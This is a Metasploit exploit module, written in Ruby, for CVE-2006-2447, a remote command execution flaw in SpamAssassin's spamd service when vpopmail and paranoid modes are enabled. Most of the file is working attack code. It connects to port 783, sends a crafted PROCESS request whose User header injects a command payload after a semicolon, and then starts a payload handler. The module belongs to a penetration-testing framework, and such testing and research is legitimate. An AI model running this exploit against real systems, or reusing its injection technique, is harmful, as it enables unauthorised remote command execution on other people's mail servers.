metasploit-framework/modules/exploits/unix/misc/spamassassin_exec.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
super(update_info(info,
'Name' => 'SpamAssassin spamd Remote Command Execution',
'Description' => %q{
This module exploits a flaw in the SpamAssassin spamd service by specifying
a malicious vpopmail User header, when running with vpopmail and paranoid
modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-2447' ],
[ 'OSVDB', '26177' ],
[ 'BID', '18290' ],
[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jun 06 2006',
'DefaultTarget' => 0))
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register_options(
[
Opt::RPORT(783)
], self.class)
end
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def exploit
connect
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content = Rex::Text.rand_text_alpha(20)
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sploit = "PROCESS SPAMC/1.2\r\n"
sploit << "Content-length: #{(content.length + 2)}\r\n"
sploit << "User: ;#{payload.encoded}\r\n\r\n"
sploit << content + "\r\n\r\n"
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sock.put(sploit)
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handler
disconnect
end
end